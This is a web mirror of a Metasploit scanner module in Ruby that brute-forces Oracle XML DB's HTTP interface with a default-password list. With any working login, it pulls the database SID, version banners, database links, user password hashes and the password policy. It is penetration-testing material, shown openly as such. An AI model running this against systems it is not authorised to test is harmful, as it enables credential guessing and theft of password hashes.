CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'Oracle XML DB SID Discovery via Brute Force',
14
'Description' => %q{
15
This module attempts to retrieve the sid from the Oracle XML DB httpd server,
16
utilizing Pete Finnigan's default oracle password list.
17
},
18
'References' =>
19
[
20
[ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],
21
[ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv'],
22
],
23
'Author' => [ 'nebulus' ],
24
'License' => MSF_LICENSE
25
)
26
27
register_options(
28
[
29
OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),
30
Opt::RPORT(8080),
31
])
32
end
33
34
def run_host(ip)
35
begin
36
37
res = send_request_raw({
38
'uri' => '/oradb/PUBLIC/GLOBAL_NAME',
39
'version' => '1.0',
40
'method' => 'GET'
41
}, 5)
42
return if not res
43
44
if(res.code == 200)
45
vprint_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code}) is not password protected.")
46
return
47
elsif(res.code == 403 || res.code == 401)
48
print_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code})")
49
end
50
51
list = datastore['CSVFILE']
52
users = []
53
54
fd = CSV.foreach(list) do |brute|
55
56
dbuser = brute[2].downcase
57
dbpass = brute[3].downcase
58
user_pass = "#{dbuser}:#{dbpass}"
59
60
res = send_request_raw({
61
'uri' => '/oradb/PUBLIC/GLOBAL_NAME',
62
'version' => '1.0',
63
'method' => 'GET',
64
'headers' =>
65
{
66
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
67
}
68
}, 10)
69
70
if( not res )
71
vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
72
next
73
end
74
if (res.code == 200)
75
if (not res.body.length > 0)
76
# sometimes weird bug where body doesn't have value yet
77
res.body = res.bufq
78
end
79
sid = res.body.scan(/<GLOBAL_NAME>(\S+)<\/GLOBAL_NAME>/)[0]
80
report_note(
81
:host => ip,
82
:proto => 'tcp',
83
:port => datastore['RPORT'],
84
:type => 'SERVICE_NAME',
85
:data => sid,
86
:update => :unique_data
87
)
88
print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}")
89
users.push(user_pass)
90
else
91
vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")
92
end
93
end #fd.each
94
95
good = false
96
users.each do |user_pass|
97
(u,p) = user_pass.split(':')
98
99
# get versions
100
res = send_request_raw({
101
'uri' => '/oradb/PUBLIC/PRODUCT_COMPONENT_VERSION',
102
'version' => '1.1',
103
'method' => 'GET',
104
'headers' =>
105
{
106
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
107
}
108
}, -1)
109
110
if(res)
111
if(res.code == 200)
112
if (not res.body.length > 0)
113
# sometimes weird bug where body doesn't have value yet
114
res.body = res.bufq
115
end
116
117
doc = REXML::Document.new(res.body)
118
119
print_good("Version Information ==> as #{u}")
120
doc.elements.each('PRODUCT_COMPONENT_VERSION/ROW') do |e|
121
p = e.elements['PRODUCT'].get_text
122
v = e.elements['VERSION'].get_text
123
s = e.elements['STATUS'].get_text
124
report_note(
125
:host => datastore['RHOST'],
126
:sname => 'xdb',
127
:proto => 'tcp',
128
:port => datastore['RPORT'],
129
:type => 'ORA_ENUM',
130
:data => "Component Version: #{p}#{v}",
131
:update => :unique_data
132
)
133
print_good("\t#{p}\t\t#{v}\t(#{s})")
134
135
end
136
end
137
end
138
139
# More version information
140
res = send_request_raw({
141
'uri' => '/oradb/PUBLIC/ALL_REGISTRY_BANNERS',
142
'version' => '1.1',
143
'method' => 'GET',
144
'headers' =>
145
{
146
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
147
}
148
}, -1)
149
150
if(res)
151
if(res.code == 200)
152
if (not res.body.length > 0)
153
# sometimes weird bug where body doesn't have value yet
154
res.body = res.bufq
155
end
156
157
doc = REXML::Document.new(res.body)
158
159
doc.elements.each('ALL_REGISTRY_BANNERS/ROW') do |e|
160
next if e.elements['BANNER'] == nil
161
b = e.elements['BANNER'].get_text
162
report_note(
163
:host => datastore['RHOST'],
164
:proto => 'tcp',
165
:sname => 'xdb',
166
:port => datastore['RPORT'],
167
:type => 'ORA_ENUM',
168
:data => "Component Version: #{b}",
169
:update => :unique_data
170
)
171
print_good("\t#{b}")
172
end
173
end
174
end
175
176
# database links
177
res = send_request_raw({
178
'uri' => '/oradb/PUBLIC/ALL_DB_LINKS',
179
'version' => '1.1',
180
'method' => 'GET',
181
'headers' =>
182
{
183
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
184
}
185
}, -1)
186
187
if(res)
188
if(res.code == 200)
189
if (not res.body.length > 0)
190
# sometimes weird bug where body doesn't have value yet
191
res.body = res.bufq
192
end
193
194
doc = REXML::Document.new(res.body)
195
196
print_good("Database Link Information ==> as #{u}")
197
doc.elements.each('ALL_DB_LINKS/ROW') do |e|
198
next if(e.elements['HOST'] == nil or e.elements['USERNAME'] == nil or e.elements['DB_LINK'] == nil)
199
h = e.elements['HOST'].get_text
200
d = e.elements['DB_LINK'].get_text
201
us = e.elements['USERNAME'].get_text
202
203
sid = h.to_s.scan(/\(SID\s\=\s(\S+)\)\)\)/)[0]
204
if(h.to_s.match(/^\(DESCRIPTION/) )
205
h = h.to_s.scan(/\(HOST\s\=\s(\S+)\)\(/)[0]
206
end
207
208
if(sid and sid != "")
209
print_good("\tLink: #{d}\t#{us}\@#{h[0]}/#{sid[0]}")
210
report_note(
211
:host => h[0],
212
:proto => 'tcp',
213
:port => datastore['RPORT'],
214
:sname => 'xdb',
215
:type => 'oracle_sid',
216
:data => sid,
217
:update => :unique_data
218
)
219
else
220
print_good("\tLink: #{d}\t#{us}\@#{h}")
221
end
222
end
223
end
224
end
225
226
227
# get users
228
res = send_request_raw({
229
'uri' => '/oradb/PUBLIC/DBA_USERS',
230
'version' => '1.1',
231
'method' => 'GET',
232
'read_max_data' => (1024*1024*10),
233
'headers' =>
234
{
235
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
236
}
237
}, -1)
238
239
if res and res.code == 200
240
if (not res.body.length > 0)
241
# sometimes weird bug where body doesn't have value yet
242
res.body = res.bufq
243
end
244
245
doc = REXML::Document.new(res.body)
246
print_good("Username/Hashes on #{ip}:#{datastore['RPORT']} ==> as #{u}")
247
248
doc.elements.each('DBA_USERS/ROW') do |user|
249
250
us = user.elements['USERNAME'].get_text
251
h = user.elements['PASSWORD'].get_text
252
as = user.elements['ACCOUNT_STATUS'].get_text
253
print_good("\t#{us}:#{h}:#{as}")
254
good = true
255
if(as.to_s == "OPEN")
256
report_note(
257
:host => datastore['RHOST'],
258
:proto => 'tcp',
259
:sname => 'xdb',
260
:port => datastore['RPORT'],
261
:type => 'ORA_ENUM',
262
:data => "Active Account #{u}:#{h}:#{as}",
263
:update => :unique_data
264
)
265
else
266
report_note(
267
:host => datastore['RHOST'],
268
:proto => 'tcp',
269
:sname => 'xdb',
270
:port => datastore['RPORT'],
271
:type => 'ORA_ENUM',
272
:data => "Disabled Account #{u}:#{h}:#{as}",
273
:update => :unique_data
274
)
275
end
276
end
277
end
278
279
# get password information
280
res = send_request_raw({
281
'uri' => '/oradb/PUBLIC/USER_PASSWORD_LIMITS',
282
'version' => '1.1',
283
'method' => 'GET',
284
'read_max_data' => (1024*1024*10),
285
'headers' =>
286
{
287
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
288
}
289
}, -1)
290
291
if res and res.code == 200
292
if (not res.body.length > 0)
293
# sometimes weird bug where body doesn't have value yet
294
res.body = res.bufq
295
end
296
297
doc = REXML::Document.new(res.body)
298
299
print_good("Password Policy ==> as #{u}")
300
fla=plit=pgt=prt=prm=plot=''
301
doc.elements.each('USER_PASSWORD_LIMITS/ROW') do |e|
302
next if e.elements['RESOURCE_NAME'] == nil
303
304
case
305
when(e.elements['RESOURCE_NAME'].get_text == 'FAILED_LOGIN_ATTEMPTS')
306
fla = e.elements['LIMIT'].get_text
307
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LIFE_TIME')
308
plit = e.elements['LIMIT'].get_text
309
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_TIME')
310
prt = e.elements['LIMIT'].get_text
311
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_MAX')
312
prm = e.elements['LIMIT'].get_text
313
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LOCK_TIME')
314
plot = e.elements['LIMIT'].get_text
315
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_GRACE_TIME')
316
pgt = e.elements['LIMIT'].get_text
317
end
318
end
319
320
print_good(
321
"\tFailed Login Attempts: #{fla}\n\t" +
322
"Password Life Time: #{plit}\n\t" +
323
"Password Reuse Time: #{prt}\n\t" +
324
"Password Reuse Max: #{prm}\n\t" +
325
"Password Lock Time: #{plot}\n\t" +
326
"Password Grace Time: #{pgt}"
327
)
328
report_note(
329
:host => datastore['RHOST'],
330
:proto => 'tcp',
331
:sname => 'xdb',
332
:port => datastore['RPORT'],
333
:type => 'ORA_ENUM',
334
:data => "Password Maximum Reuse Time: #{prm}",
335
:update => :unique_data
336
)
337
report_note(
338
:host => datastore['RHOST'],
339
:proto => 'tcp',
340
:sname => 'xdb',
341
:port => datastore['RPORT'],
342
:type => 'ORA_ENUM',
343
:data => "Password Reuse Time: #{prt}",
344
:update => :unique_data
345
)
346
report_note(
347
:host => datastore['RHOST'],
348
:proto => 'tcp',
349
:sname => 'xdb',
350
:port => datastore['RPORT'],
351
:type => 'ORA_ENUM',
352
:data => "Password Life Time: #{plit}",
353
:update => :unique_data
354
)
355
report_note(
356
:host => datastore['RHOST'],
357
:proto => 'tcp',
358
:sname => 'xdb',
359
:port => datastore['RPORT'],
360
:type => 'ORA_ENUM',
361
:data => "Account Fail Logins Permitted: #{fla}",
362
:update => :unique_data
363
)
364
report_note(
365
:host => datastore['RHOST'],
366
:proto => 'tcp',
367
:sname => 'xdb',
368
:port => datastore['RPORT'],
369
:type => 'ORA_ENUM',
370
:data => "Account Lockout Time: #{plot}",
371
:update => :unique_data
372
)
373
report_note(
374
:host => datastore['RHOST'],
375
:proto => 'tcp',
376
:sname => 'xdb',
377
:port => datastore['RPORT'],
378
:type => 'ORA_ENUM',
379
:data => "Account Password Grace Time: #{pgt}",
380
:update => :unique_data
381
)
382
end
383
384
break if good
385
end # users.each
386
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
387
rescue ::Timeout::Error, ::Errno::EPIPE
388
end
389
end
390
end
391
392